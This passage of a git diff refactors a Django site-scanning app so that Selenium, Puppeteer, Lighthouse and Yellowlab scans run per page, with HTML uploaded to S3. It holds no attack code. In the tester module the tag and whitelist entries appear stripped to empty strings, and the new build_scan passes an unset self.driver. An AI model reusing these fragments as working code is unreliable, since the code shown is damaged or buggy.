self.report.type or 'full' in self.report.type: + self.create_data(data_type='yellowlab') + + # save report + self.publish_report() + message = 'Report Generated' + success = True + + # formating response + data = { + 'report' : self.report, + 'success': success, + 'message': message + } - self.publish_report() - return self.report + # returning response + return data diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 13424f82..93c462f8 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -1,104 +1,127 @@ from .driver_s import driver_init as driver_s_init, quit_driver -from .driver_s import driver_wait +from .driver_s import driver_wait, get_data as get_s_driver_data from .driver_p import get_data -from ..models import Site, Scan, Test -from django.forms.models import model_to_dict -from django.core.serializers.json import DjangoJSONEncoder +from ..models import * +from .automater import Automater +from .tester import Tester from .lighthouse import Lighthouse from .yellowlab import Yellowlab -from .image import Image +from .imager import Imager from datetime import datetime -import time, os, sys, json, asyncio +from scanerr import settings +import os, asyncio, uuid, boto3 + + + class Scanner(): + """ + Used to run and build all the + components of a new `Scan` + + Expects -> { + 'site' : object, + 'page' : object, + 'scan' : object, + 'configs' : dict, + 'type' : list + } + + Use self.build_scan() to create a new Scan + + Returns -> `Scan` object + """ + + + def __init__( self, - site=None, - scan=None, - configs=None, - type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] + site: object=None, + page: object=None, + scan: object=None, + configs: dict=settings.CONFIGS, + type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] ): - if site == None and scan != None: - site = scan.site - - if configs is None: - configs = { - 'window_size': '1920,1080', - 'driver': 'selenium', - 'device': 'desktop', - 'mask_ids': None, - 'interval': 5, - 'min_wait_time': 10, - 'max_wait_time': 60, - 'timeout': 300, - 'disable_animations': False - } - self.site = site - - if configs['driver'] == 'selenium': - self.driver = driver_s_init(window_size=configs['window_size'], device=configs['device']) - - if scan is not None: - self.scan = scan - else: - self.scan = None - + self.page = page + self.scan = scan self.configs = configs self.type = type + # getting page and site if None + if site == None and scan != None: + self.site = scan.site + if page == None and scan != None: + self.page = scan.page + + - def first_scan(self): + def build_scan(self) -> object: """ - Method to run a scan independently of an existing `scan` obj. + Method to run a scan independently of an existing `scan` obj. - returns -> `Scan` + Returns -> `Scan` """ + # setting defaults html = None logs = None images = None lh_data = None yl_data = None + # creating Scan obj if None was passed if self.scan is None: - self.scan = Scan.objects.create(site=self.site, type=self.type) + self.scan = Scan.objects.create(site=self.site, page=self.page, type=self.type) + # running scan steps with selenium driver if self.configs['driver'] == 'selenium': - self.driver.get(self.site.site_url) + driver = driver_s_init( + window_size=self.configs['window_size'], + device=self.configs['device'] + ) + driver.get(self.page.page_url) + s_driver_data = get_s_driver_data( + driver=self.driver, + max_wait_time=self.configs['max_wait_time'] + ) if 'html' in self.scan.type or 'full' in self.scan.type: - html = self.driver.page_source + html = s_driver_data['html'] if 'logs' in self.scan.type or 'full' in self.scan.type: - logs = self.driver.get_log('browser') + logs = s_driver_data['logs'] if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) - quit_driver(self.driver) - else: - driver_data = asyncio.run( + images = Imager(scan=self.scan, configs=self.configs).scan_s(driver=driver) + quit_driver(driver) + + # running scan steps with puppeteer driver + if self.configs['driver'] == 'puppeteer': + p_driver_data = asyncio.run( get_data( - url=self.site.site_url, + url=self.page.page_url, configs=self.configs ) ) if 'html' in self.scan.type or 'full' in self.scan.type: - html = driver_data['html'] + html = p_driver_data['html'] if 'logs' in self.scan.type or 'full' in self.scan.type: - logs = driver_data['logs'] + logs = p_driver_data['logs'] if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + images = asyncio.run(Imager(scan=self.scan, configs=self.configs).scan_p()) + # running LH & YL if requested if 'lighthouse' in self.scan.type or 'full' in self.scan.type: - lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + lh_data = Lighthouse(scan=self.scan, configs=self.configs).get_data() if 'yellowlab' in self.scan.type or 'full' in self.scan.type: - yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + yl_data = Yellowlab(scan=self.scan, configs=self.configs).get_data() + # updating Scan object if html is not None: - self.scan.html = html + save_html(html, self.scan) if logs is not None: self.scan.logs = logs if images is not None: @@ -108,114 +131,104 @@ def first_scan(self): if yl_data is not None: self.scan.yellowlab = yl_data + # saving scan data self.scan.configs = self.configs self.scan.time_completed = datetime.now() self.scan.save() - first_scan = self.scan - update_site_info(first_scan) + # updating Site and Page objects + update_page_info(self.scan) + update_site_info(self.scan) - return first_scan + # return updated scan obj + return self.scan +def update_site_info(scan: object) -> object: + """ + Method to update associated Site with the new Scan data - def second_scan(self): - """ - Method to run a scan and attach existing `Scan` obj to it. - - returns -> `Scan` - """ - if not self.scan: - first_scan = Scan.objects.filter( - site=self.site, - time_completed__isnull=False - ).order_by('-time_created').first() - - else: - first_scan = self.scan - - # create second scan obj - second_scan = Scan.objects.create(site=self.site, type=self.type) + Expects: { + 'scan': object + } - html = None - logs = None - images = None - lh_data = None - yl_data = None - - if self.configs['driver'] == 'selenium': - self.driver.get(self.site.site_url) - if 'html' in second_scan.type or 'full' in second_scan.type: - html = self.driver.page_source - if 'logs' in second_scan.type or 'full' in second_scan.type: - logs = self.driver.get_log('browser') - if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) - quit_driver(self.driver) + Returns -> `Site` + """ + + # setting defaults + health = 'No Data' + badge = 'neutral' + score = 0 + site = scan.site + pages = Page.objects.filter(site=site) + + # get latest scan of pages + scans = [] + for page in pages: + if Scan.objects.filter(page=page).exists(): + _scan = Scan.objects.filter(page=page).order_by('-time_completed')[0] + if _scan.lighthouse['scores']['average'] is not None: + scans.append(_scan.lighthouse['scores']['average']) + if _scan.yellowlab['scores']['globalScore'] is not None: + scans.append(_scan.yellowlab['scores']['globalScore']) + + # calc average score + if len(scans) > 0: + score = sum(scans)/len(scans) + if score != 0: + if score >= 75: + health = 'Good' + badge = 'success' + elif 75 > score >= 60: + health = 'Okay' + badge = 'warning' + elif 60 > score: + health = 'Poor' + badge = 'danger' + else: + if site.info['status']['score'] is not None: + score = float(site.info['status']['score']) + health = site.info['status']['health'] + badge = site.info['status']['badge'] else: - driver_data = asyncio.run( - get_data( - url=self.site.site_url, - configs=self.configs - ) - ) - if 'html' in second_scan.type or 'full' in second_scan.type: - html = driver_data['html'] - if 'logs' in second_scan.type or 'full' in second_scan.type: - logs = driver_data['logs'] - if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) - - if 'lighthouse' in second_scan.type or 'full' in second_scan.type: - lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() - if 'yellowlab' in second_scan.type or 'full' in second_scan.type: - yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() - - if html is not None: - second_scan.html = html - if logs is not None: - second_scan.logs = logs - if images is not None: - second_scan.images = images - if lh_data is not None: - second_scan.lighthouse = lh_data - if yl_data is not None: - second_scan.yellowlab = yl_data - - second_scan.configs = self.configs - - second_scan.time_completed = datetime.now() - second_scan.paired_scan = first_scan - second_scan.save() - - first_scan.paried_scan = second_scan - first_scan.save() - - update_site_info(second_scan) - - return second_scan - + score = None + # saving new info to site + site.info['latest_scan']['id'] = str(scan.id) + site.info['latest_scan']['time_created'] = str(scan.time_created) + site.info['latest_scan']['time_completed'] = str(scan.time_completed) + site.info['status']['health'] = str(health) + site.info['status']['badge'] = str(badge) + site.info['status']['score'] = score + site.save() + # returning site + return site -def update_site_info(scan): +def update_page_info(scan: object) -> object: """ - Method to update associated Site with the new Scan data + Method to update associated Page with the new Scan data - returns -> `Site` + Expects: { + 'scan': object + } + + Returns -> `Page` """ - + + # setting defaults health = 'No Data' badge = 'neutral' d = 0 score = 0 - site = scan.site + page = scan.page + # selecting LH & YL scores if present if scan.lighthouse['scores']['average'] is not None: score += float(scan.lighthouse['scores']['average']) d += 1 @@ -223,6 +236,7 @@ def update_site_info(scan): score += float(scan.yellowlab['scores']['globalScore']) d += 1 + # calc average health score if score != 0: score = score / d if score >= 75: @@ -234,48 +248,101 @@ def update_site_info(scan): elif 60 > score: health = 'Poor' badge = 'danger' - else: - if scan.site.info['status']['score'] is not None: - score = float(site.info['status']['score']) - health = site.info['status']['health'] - badge = site.info['status']['badge'] + if scan.page.info['status']['score'] is not None: + score = float(page.info['status']['score']) + health = page.info['status']['health'] + badge = page.info['status']['badge'] else: score = None - site.info['latest_scan']['id'] = str(scan.id) - site.info['latest_scan']['time_created'] = str(scan.time_created) - site.info['latest_scan']['time_completed'] = str(scan.time_completed) - site.info['lighthouse'] = scan.lighthouse.get('scores') - site.info['yellowlab'] = scan.yellowlab.get('scores') - site.info['status']['health'] = str(health) - site.info['status']['badge'] = str(badge) - site.info['status']['score'] = score + # saving new info to page + page.info['latest_scan']['id'] = str(scan.id) + page.info['latest_scan']['time_created'] = str(scan.time_created) + page.info['latest_scan']['time_completed'] = str(scan.time_completed) + page.info['lighthouse'] = scan.lighthouse.get('scores') + page.info['yellowlab'] = scan.yellowlab.get('scores') + page.info['status']['health'] = str(health) + page.info['status']['badge'] = str(badge) + page.info['status']['score'] = score + page.save() - site.save() + # returning page + return page - return site +def save_html(html: str, scan: object) -> object: + """ + Saves html page source as a '.txt' file and uploads + to s3. Then saves the remote uri to the `scan` obj. + Expects: { + html: str, + scan: object + } + Returns -> `Scan` + """ + # setup boto3 configuration + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # save html data as text file + file_id = uuid.uuid4() + with open(f'{file_id}.txt', 'w') as fp: + fp.write(html) + + # upload to s3 and return url + html_file = os.path.join(settings.BASE_DIR, f'{file_id}.txt') + remote_path = f'static/sites/{scan.site.id}/{scan.page.id}/{scan.id}/{file_id}.txt' + root_path = settings.AWS_S3_URL_PATH + html_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(html_file, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "text/plain"} + ) + + # save to scan obj + scan.html = html_url + scan.save() + + # remove local copy + os.remove(html_file) + # return scan + return scan -def check_scan_completion(scan): + +def check_scan_completion(scan: object, test_id: str=None, automation_id: str=None) -> object: """ - Method that checks if the scan has finished all - components. If so, method also updates scan and site - info. + Method that checks if the scan has finished all + components. If so, method also updates Scan, Site, + & Page info. If test_id is present, initiates a run_test() + + Expects: { + scan: object, + test_id: str, + automation_id: str + } - returns -> `Scan` + Returns -> `Scan` """ + # setting defaults finished = True + # checking for each scan type completion if 'html' in scan.type or 'full' in scan.type: if scan.html == None or scan.html == '': finished = False @@ -299,150 +366,211 @@ def check_scan_completion(scan): # deciding if done if finished is True: time_completed = datetime.now() - update_site_info(scan) scan.time_completed = time_completed scan.save() + update_page_info(scan) + update_site_info(scan) + # start Test if test_id present + if test_id is not None: + print('\n-\n---------------\nScan Complete\nStarting Test...\n---------------\n') + test = Test.objects.get(id=test_id) + Tester(test=test).run_test() + if automation_id: + Automater(automation_id, test.id).run_automation() + + # returning scan return scan +def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) -> object: + """ + Method to run the 'html' and 'logs' component of the scan + allowing for multi-threading. + Expects: { + scan_id: str, + test_id: str, + automation_id: str + } -def _html_and_logs(scan_id): + Returns -> `Scan` """ - Method to run the 'html' and 'logs' component of the scan - allowing for multi-threading. - returns -> `Scan` - """ + # retrieve scan scan = Scan.objects.get(id=scan_id) - if scan.configs['driver'] == 'selenium': - - driver = driver_s_init( - window_size=scan.configs['window_size'], - device=scan.configs['device'] - ) - driver.get(scan.site.site_url) - if 'html' in scan.type or 'full' in scan.type: - html = driver.page_source - scan = Scan.objects.get(id=scan_id) - scan.html = html - scan.save() - if 'logs' in scan.type or 'full' in scan.type: - logs = driver.get_log('browser') - scan = Scan.objects.get(id=scan_id) - scan.logs = logs - scan.save() - quit_driver(driver) - - - if scan.configs['driver'] == 'puppeteer': - - driver_data = asyncio.run( - get_data( - url=scan.site.site_url, - configs=scan.configs + try: + # get html and logs if driver is selenium + if scan.configs['driver'] == 'selenium': + # init driver & get data + driver = driver_s_init( + window_size=scan.configs['window_size'], + device=scan.configs['device'] ) - ) - if 'html' in scan.type or 'full' in scan.type: - html = driver_data['html'] - scan = Scan.objects.get(id=scan_id) - scan.html = html - scan.save() - if 'logs' in scan.type or 'full' in scan.type: - logs = driver_data['logs'] - scan = Scan.objects.get(id=scan_id) - scan.logs = logs - scan.save() - + driver.get(scan.page.page_url) + s_driver_data = get_s_driver_data( + driver=driver, + max_wait_time=int(scan.configs['max_wait_time']) + ) + if 'html' in scan.type or 'full' in scan.type: + html = s_driver_data['html'] + scan = Scan.objects.get(id=scan_id) + save_html(html, scan) + if 'logs' in scan.type or 'full' in scan.type: + logs = s_driver_data['logs'] + scan = Scan.objects.get(id=scan_id) + scan.logs = logs + scan.save() + quit_driver(driver) + + # get html and logs if driver is puppeteer + if scan.configs['driver'] == 'puppeteer': + # init driver & get data + p_driver_data = asyncio.run( + get_data( + url=scan.page.page_url, + configs=scan.configs + ) + ) + if 'html' in scan.type or 'full' in scan.type: + html = p_driver_data['html'] + scan = Scan.objects.get(id=scan_id) + save_html(html, scan) + if 'logs' in scan.type or 'full' in scan.type: + logs = p_driver_data['logs'] + scan = Scan.objects.get(id=scan_id) + scan.logs = logs + scan.save() + except Exception as e: + print(e) # checking if scan is done - scan = check_scan_completion(scan) + scan = check_scan_completion(scan, test_id, automation_id) + # return udpated scan return scan - -def _vrt(scan_id): +def _vrt(scan_id: str, test_id: str=None, automation_id: str=None) -> object: """ - Method to run the visual regression (vrt) component of the scan - allowing for multi-threading. + Method to run the visual regression (vrt) component of the scan + allowing for multi-threading. - returns -> `Scan` - """ - scan = Scan.objects.get(id=scan_id) - if scan.configs['driver'] == 'selenium': - driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device']) - images = Image().scan(site=scan.site, driver=driver, configs=scan.configs) - quit_driver(driver) + Expects: { + scan_id: str, + test_id: str, + automation_id: str + } - if scan.configs['driver'] == 'puppeteer': - images = asyncio.run(Image().scan_p(site=scan.site, configs=scan.configs)) + Returns -> `Scan` + """ - # updating Scan object + # retrieve scan scan = Scan.objects.get(id=scan_id) - scan.images = images - scan.save() + + try: + # run Imager using selenium + if scan.configs['driver'] == 'selenium': + driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device']) + images = Imager(scan=scan, configs=scan.configs).scan_s(driver=driver) + quit_driver(driver) + + # run Imager using puppeteer + if scan.configs['driver'] == 'puppeteer': + images = asyncio.run(Imager(scan=scan, configs=scan.configs).scan_p()) + + # updating Scan object + scan = Scan.objects.get(id=scan_id) + scan.images = images + scan.save() + except Exception as e: + print(e) # checking if scan is done - scan = check_scan_completion(scan) + scan = check_scan_completion(scan, test_id, automation_id) + # returning updated scan return scan - -def _lighthouse(scan_id): +def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> object: """ - Method to run the lighthouse component of the scan - allowing for multi-threading. + Method to run the lighthouse component of the scan + allowing for multi-threading. - returns -> `Scan` - """ - scan = Scan.objects.get(id=scan_id) + Expects: { + scan_id: str, + test_id: str, + automation_id: str + } - # running lighthouse - lh_data = Lighthouse(site=scan.site, configs=scan.configs).get_data() + Returns -> `Scan` + """ - # updating Scan object + # retrieve scan scan = Scan.objects.get(id=scan_id) - scan.lighthouse = lh_data - scan.save() + + try: + # running lighthouse + lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() + + # updating Scan object + scan = Scan.objects.get(id=scan_id) + scan.lighthouse = lh_data + scan.save() + except Exception as e: + print(e) # checking if scan is done - scan = check_scan_completion(scan) + scan = check_scan_completion(scan, test_id, automation_id) + # returning updated scan return scan - - -def _yellowlab(scan_id): +def _yellowlab(scan_id: str, test_id: str=None, automation_id: str=None) -> object: """ - Method to run the yellowlab component of the scan - allowing for multi-threading. + Method to run the yellowlab component of the scan + allowing for multi-threading. - returns -> `Scan` - """ - scan = Scan.objects.get(id=scan_id) + Expects: { + scan_id: str, + test_id: str, + automation_id: str + } - # running yellowlab - yl_data = Yellowlab(site=scan.site, configs=scan.configs).get_data() + Returns -> `Scan` + """ - # updating Scan object + # retrieve scan scan = Scan.objects.get(id=scan_id) - scan.yellowlab = yl_data - scan.save() + + try: + # running yellowlab + yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data() + + # updating Scan object + scan = Scan.objects.get(id=scan_id) + scan.yellowlab = yl_data + scan.save() + except Exception as e: + print(e) # checking if scan is done - scan = check_scan_completion(scan) + scan = check_scan_completion(scan, test_id, automation_id) + # returning updated scan return scan + + + + diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index d5dd0d4a..17d3de6f 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -1,14 +1,36 @@ -from ..models import Site, Scan, Test -import time, os, sys, json, random, string, re -from difflib import SequenceMatcher, HtmlDiff, Differ +from ..models import * from datetime import datetime -from .image import Image +from .imager import Imager +from scanerr import settings +from difflib import SequenceMatcher +import os, json, random, \ +string, re, requests, uuid, boto3 + + + class Tester(): + """ + Used to run and build all the + components of a new `Test` + + Expects -> { + 'test' : object, + } + + Use self.run_test() to create a new Test + + Returns -> `Test` object + """ + - def __init__(self, test): + + + def __init__(self, test: object): + + # setting defaults self.test = test self.pre_scan_html = [] self.post_scan_html = [] @@ -17,26 +39,45 @@ def __init__(self, test): self.delta_html_post = [] self.delta_html_pre = [] + # setup boto3 configurations + self.s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + + - def clean_html(self): - pre_scan_html = self.test.pre_scan.html.splitlines() - post_scan_html = self.test.post_scan.html.splitlines() + def clean_html(self) -> None: + # cleans both pre_ and post_ html + # and prepares them for comparison + # retrieveing data from remote s3 + pre_scan_html_raw = requests.get(self.test.pre_scan.html).text + post_scan_html_raw = requests.get(self.test.post_scan.html).text + pre_scan_html = pre_scan_html_raw.splitlines() + post_scan_html = post_scan_html_raw.splitlines() + + # setting watch lists white_list = ['csrfmiddlewaretoken', '',] tags = [ - '', '', '')) + # clean post_scan_html for line in post_scan_html: for item in white_list: if item in line: @@ -59,15 +101,21 @@ def clean_html(self): if sub not in tags: self.post_scan_html.append((sub+'>')) - return + return None + + - def clean_logs(self): + def clean_logs(self) -> None: + # cleans both pre_ and post_ logs + # and prepares them for comparison + + # setting defaults pre_scan_logs_json = self.test.pre_scan.logs post_scan_logs_json = self.test.post_scan.logs order = ("level", "source", "message") - + # cleaning pre_scan_logs for log in pre_scan_logs_json: new_log = {} for label in order: @@ -76,7 +124,7 @@ def clean_logs(self): new_log[label] = log.get(key) self.pre_scan_logs.append(json.dumps(new_log)) - + # cleaning post_scan_logs for log in post_scan_logs_json: new_log = {} for label in order: @@ -85,58 +133,80 @@ def clean_logs(self): new_log[label] = log.get(key) self.post_scan_logs.append(json.dumps(new_log)) - return + return None + - def compare_html(self): + + def compare_html(self) -> float: + # calculates the similarity of pre and post html + # using SequenceMatcher() + + # clean html first self.clean_html() - pre_scan = self.pre_scan_html - post_scan = self.post_scan_html + + # calculate score html_raw_score = SequenceMatcher( - None, pre_scan, post_scan + None, self.pre_scan_html, self.post_scan_html ).ratio() + # return score return html_raw_score - def compare_logs(self): + + def compare_logs(self) -> float: + # calculates the similarity of pre and post logs + # using SequenceMatcher() + + # clean logs first self.clean_logs() - pre_scan = list(self.pre_scan_logs) - post_scan = list(self.post_scan_logs) + + # calculate score logs_raw_score = SequenceMatcher( - None, pre_scan, post_scan + None, self.pre_scan_logs, self.post_scan_logs ).ratio() + # return score return logs_raw_score - def delta_html(self): + + + def delta_html(self) -> dict: + # Calculates the macro difference in pre_ & post_ html + # (i.e. difference in html nodes

). + # also generates the micro differences + # using self.post_proc_html() + + # calculate macro difference num_html_delta = len(self.pre_scan_html) - len(self.post_scan_html) num_html_ratio = len(self.pre_scan_html) / len(self.post_scan_html) if num_html_ratio > 1: num_html_ratio = len(self.post_scan_html) / len(self.pre_scan_html) + # building data for post_proc_html() for line in self.post_scan_html: if line not in self.pre_scan_html: self.delta_html_post.append(line) - for line in self.pre_scan_html: if line not in self.post_scan_html: self.delta_html_pre.append(line) - + # get pre_mciro_delta in html pre_micro_delta = self.post_proc_html( self.delta_html_pre, self.delta_html_post ) + # get post_mciro_delta in html post_micro_delta = self.post_proc_html( self.delta_html_post, self.delta_html_pre ) - + # formatting data data = { "num_html_delta": num_html_delta, "delta_html_post": self.delta_html_post, @@ -146,10 +216,17 @@ def delta_html(self): "post_micro_delta": post_micro_delta, } + # return updated data return data - def post_proc_html(self, primary_list, secondary_list): + + + def post_proc_html(self, primary_list: list, secondary_list: list) -> dict: + # generates a list of 8 char long chunks that are in + # the primary_list but not in the secondary_list + + # setting defaults delta_parsed = [] delta_parsed_diff = [] secondary_str = ''.join(str(i) for i in secondary_list) @@ -165,67 +242,89 @@ def post_proc_html(self, primary_list, secondary_list): if block != None and block != '' and block not in secondary_str: delta_parsed_diff.append(block) + # formatting data data = { "delta_parsed": delta_parsed, "delta_parsed_diff": delta_parsed_diff, } + # returning updated data return data - def html_micro_diff_score(self, post_delta_parsed_diff): + def html_micro_diff_score(self, post_delta_parsed_diff: list) -> float: + # Calculates a score by comparing + # post_delta_parsed_diff & pre_delta_parsed_diff + # building pre_delta_parsed_diff pre_delta_parsed_diff = [] for line in self.pre_scan_html: subStrings = re.findall('.{1,8}', line) for sub in subStrings: pre_delta_parsed_diff.append(sub) - + + # calculate score diff_length = len(pre_delta_parsed_diff) - len(post_delta_parsed_diff) diff_score = diff_length / len(pre_delta_parsed_diff) + # return score return diff_score - def post_proc_logs(self, log): + def post_proc_logs(self, log: str) -> dict: + # cleaning logs for comparions + # and convert to a dict + + # clean message log = json.loads(log) - log["message"].replace("\"", "\'") - letters = string.digits - timestamp = ''.join(random.choice(letters) for i in range(13)) + log["message"].replace("\"", "\'") + + # generate random timestamp + nums = string.digits + timestamp = ''.join(random.choice(nums) for i in range(13)) log['timestamp'] = timestamp + # return cleaned log return log - def delta_logs(self): + def delta_logs(self) -> dict: + # Calculates scores for log differences + # and builds lists to show diffferences + + # defaults + num_logs_ratio = 1 + delta_logs_post = [] + delta_logs_pre = [] + + # calc nums_log_delta (were there more in post_scan?) num_logs_delta = len(self.pre_scan_logs) - len(self.post_scan_logs) + # calculate ratio if len(self.post_scan_logs) > 0: num_logs_ratio = len(self.pre_scan_logs) / len(self.post_scan_logs) if num_logs_ratio > 1: - num_logs_ratio = 1 - else: - num_logs_ratio = 1 + num_logs_ratio = 1 - delta_logs_post = [] + # build list of not present post_scan_logs for log in self.post_scan_logs: if log not in self.pre_scan_logs: log = self.post_proc_logs(log) delta_logs_post.append(log) - - - delta_logs_pre = [] + + # build list of not present pre_scan_logs for log in self.pre_scan_logs: if log not in self.post_scan_logs: log = self.post_proc_logs(log) delta_logs_pre.append(log) + # formatting data data = { "num_logs_delta": num_logs_delta, "delta_logs_post": delta_logs_post, @@ -233,26 +332,32 @@ def delta_logs(self): "num_logs_ratio": num_logs_ratio, } + # returning data return data + def delta_lighthouse(self) -> dict: + # calculate the differences in LH + # scores between pre_ and post_ scans - def delta_lighthouse(self): try: + # get pre scores pre_seo = int(self.test.pre_scan.lighthouse["scores"]['seo']) pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility']) pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance']) pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices']) pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) + # get post scores post_seo = int(self.test.post_scan.lighthouse["scores"]['seo']) post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility']) post_performance = int(self.test.post_scan.lighthouse["scores"]['performance']) post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices']) post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) + # try to get pre and post crux scores try: pre_crux = int(self.test.pre_scan.lighthouse["scores"]['crux']) post_crux = int(self.test.post_scan.lighthouse["scores"]['crux']) @@ -262,34 +367,34 @@ def delta_lighthouse(self): post_crux = None crux_delta = 0 + # calculate individual deltas seo_delta = post_seo - pre_seo accessibility_delta = post_accessibility - pre_accessibility performance_delta = post_performance - pre_performance best_practices_delta = post_best_practices - pre_best_practices pwa_delta = post_pwa - pre_pwa + # calculate averages if post_crux is None: current_average = ( post_seo + post_accessibility + post_best_practices + post_performance + post_pwa )/5 - old_average = ( pre_seo + pre_accessibility + pre_best_practices + pre_performance + pre_pwa )/5 - else: current_average = ( post_seo + post_accessibility + post_best_practices + post_performance + post_pwa + post_crux )/6 - old_average = ( pre_seo + pre_accessibility + pre_best_practices + pre_performance + pre_pwa + pre_crux )/6 + # calculate difference in averages average_delta = current_average - old_average except: @@ -302,6 +407,7 @@ def delta_lighthouse(self): current_average = None average_delta = None + # formatting data data = { "scores": { "seo_delta": seo_delta, @@ -315,18 +421,21 @@ def delta_lighthouse(self): } } + # returning data return data + def delta_yellowlab(self) -> dict: + # calculate the differences in YL + # scores between pre_ and post_ scans - - def delta_yellowlab(self): try: + # get pre scores pre_globalScore = int(self.test.pre_scan.yellowlab["scores"]['globalScore']) pre_pageWeight = int(self.test.pre_scan.yellowlab["scores"]['pageWeight']) - pre_requests = int(self.test.pre_scan.yellowlab["scores"]['requests']) + pre_images = int(self.test.pre_scan.yellowlab["scores"]['images']) pre_domComplexity = int(self.test.pre_scan.yellowlab["scores"]['domComplexity']) pre_javascriptComplexity = int(self.test.pre_scan.yellowlab["scores"]['javascriptComplexity']) pre_badJavascript = int(self.test.pre_scan.yellowlab["scores"]['badJavascript']) @@ -335,10 +444,11 @@ def delta_yellowlab(self): pre_badCSS = int(self.test.pre_scan.yellowlab["scores"]['badCSS']) pre_fonts = int(self.test.pre_scan.yellowlab["scores"]['fonts']) pre_serverConfig = int(self.test.pre_scan.yellowlab["scores"]['serverConfig']) - + + # get post scores post_globalScore = int(self.test.post_scan.yellowlab["scores"]['globalScore']) post_pageWeight = int(self.test.post_scan.yellowlab["scores"]['pageWeight']) - post_requests = int(self.test.post_scan.yellowlab["scores"]['requests']) + post_images = int(self.test.post_scan.yellowlab["scores"]['images']) post_domComplexity = int(self.test.post_scan.yellowlab["scores"]['domComplexity']) post_javascriptComplexity = int(self.test.post_scan.yellowlab["scores"]['javascriptComplexity']) post_badJavascript = int(self.test.post_scan.yellowlab["scores"]['badJavascript']) @@ -348,8 +458,9 @@ def delta_yellowlab(self): post_fonts = int(self.test.post_scan.yellowlab["scores"]['fonts']) post_serverConfig = int(self.test.post_scan.yellowlab["scores"]['serverConfig']) + # calculate individual deltas pageWeight_delta = post_pageWeight - pre_pageWeight - requests_delta = post_requests - pre_requests + images_delta = post_images - pre_images domComplexity_delta = post_domComplexity - pre_domComplexity javascriptComplexity_delta = post_javascriptComplexity - pre_javascriptComplexity badJavascript_delta = post_badJavascript - pre_badJavascript @@ -359,12 +470,13 @@ def delta_yellowlab(self): fonts_delta = post_fonts - pre_fonts serverConfig_delta = post_serverConfig - pre_serverConfig - average_delta = post_globalScore - pre_globalScore + # get current averag and calc average_delta current_average = post_globalScore - + average_delta = post_globalScore - pre_globalScore + except: pageWeight_delta = None - requests_delta = None + images_delta = None domComplexity_delta = None javascriptComplexity_delta = None badJavascript_delta = None @@ -376,10 +488,11 @@ def delta_yellowlab(self): average_delta = None current_average = None, + # formatting response data = { "scores": { "pageWeight_delta": pageWeight_delta, - "requests_delta": requests_delta, + "images_delta": images_delta, "domComplexity_delta": domComplexity_delta, "javascriptComplexity_delta": javascriptComplexity_delta, "badJavascript_delta": badJavascript_delta, @@ -393,27 +506,78 @@ def delta_yellowlab(self): } } + # returning data return data - def update_site_info(self, test): + + def update_site_info(self, test: object) -> object: + # updates associated Site with + # new Test data + + # get associated site site = test.site - site.info['latest_test']['id'] = str(test.id) - site.info['latest_test']['time_created'] = str(test.time_created) - site.info['latest_test']['time_completed'] = str(test.time_completed) - site.info['latest_test']['score'] = (round(test.score * 100) / 100) - site.save() - return site + # get pages + pages = Page.objects.filter(site=site) + + # get latest tests of pages + tests = [] + for page in pages: + if Test.objects.filter(page=page).exists(): + _test = Test.objects.filter(page=page).order_by('-time_completed')[0] + if _test.score is not None: + tests.append(_test.score) + if len(tests) > 0: + # calc site average of latest + site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100 + + # update site info + site.info['latest_test']['id'] = str(test.id) + site.info['latest_test']['time_created'] = str(test.time_created) + site.info['latest_test']['time_completed'] = str(test.time_completed) + site.info['latest_test']['score'] = site_avg_test_score + site.save() + + # returning updated site + return site + + + + + def update_page_info(self, test: object) -> object: + # updates associated Page with + # new Test data + + # get page + page = test.page + # update page info + page.info['latest_test']['id'] = str(test.id) + page.info['latest_test']['time_created'] = str(test.time_created) + page.info['latest_test']['time_completed'] = str(test.time_completed) + page.info['latest_test']['score'] = (round(test.score * 100) / 100) + page.save() + # return updated page + return page - def run_test(self, index=None): + def run_test(self, index: int=None) -> object: + """ + Runs all the test components specified in the `Test` + and returns the updated `Test` + + Expects: { + 'index': int + } + + Returns -> `Test` object + """ # update test obj with scan configs self.test.pre_scan_configs = self.test.pre_scan.configs @@ -442,115 +606,145 @@ 